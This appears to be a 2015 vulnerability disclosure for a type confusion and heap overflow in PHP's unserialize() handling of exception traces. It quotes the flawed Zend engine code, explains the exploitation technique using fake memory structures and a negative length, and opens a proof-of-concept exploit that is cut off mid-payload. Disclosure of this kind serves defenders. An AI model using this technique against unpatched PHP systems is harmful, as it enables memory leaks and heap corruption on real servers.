Home / exploits PHP Exception Type Confusion / Heap Overflow
Posted on 30 April 2015
# Type Confusion Infoleak and Heap Overflow Vulnerability in unserialize() with exception Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3 - Release Date: 2015.4.28 > A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow. Affected Versions ------------ Affected is PHP 5.6 < 5.6.8 Affected is PHP 5.5 < 5.5.24 Affected is PHP 5.4 < 5.4.40 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ``` ZEND_METHOD(exception, getTraceAsString) { zval *trace; char *res, **str, *s_tmp; int res_len = 0, *len = &res_len, num = 0; DEFAULT_0_PARAMS; res = estrdup(""); str = &res; trace = zend_read_property(default_exception_ce, getThis(), "trace", sizeof("trace")-1, 1 TSRMLS_CC); zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC, (apply_func_args_t)_build_trace_string, 3, str, len, &num); ... static int _build_trace_string(zval **frame TSRMLS_DC, int num_args, va_list args, zend_hash_key *hash_key) /* {{{ */ { char *s_tmp, **str; int *len, *num; long line; HashTable *ht = Z_ARRVAL_PP(frame); zval **file, **tmp; ... TRACE_APPEND_KEY("class"); TRACE_APPEND_KEY("type"); TRACE_APPEND_KEY("function"); ... #define TRACE_APPEND_KEY(key) if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { if (Z_TYPE_PP(tmp) != IS_STRING) { zend_error(E_WARNING, "Value for %s is no string", key); TRACE_APPEND_STR("[unknown]"); } else { TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); } } ``` The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a fake HashTable and a fake Bucket. So we can supply a fake sring-type ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro, causing a crash or an information leak. ``` #define TRACE_APPEND_STRL(val, vallen) { int l = vallen; *str = (char*)erealloc(*str, *len + l + 1); memcpy((*str) + *len, val, l); *len += l; } ``` There is using signed integer arithmetic in erealloc(). The memcpy() function's third parameter is a unsiged integer. The vallen can be completely control and we can supply negative value via a fake string-type ZVAL. So we can assign a value to val which is larger than real allocated memory. The memcpy() will then copy more data than the heap-based buffers can hold, causing a heap-based buffer overflow. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20. ``` <?php ini_set("memory_limit", -1); setup_memory(); $x = unserialize('O:9:"exception":1:{s:16:"'."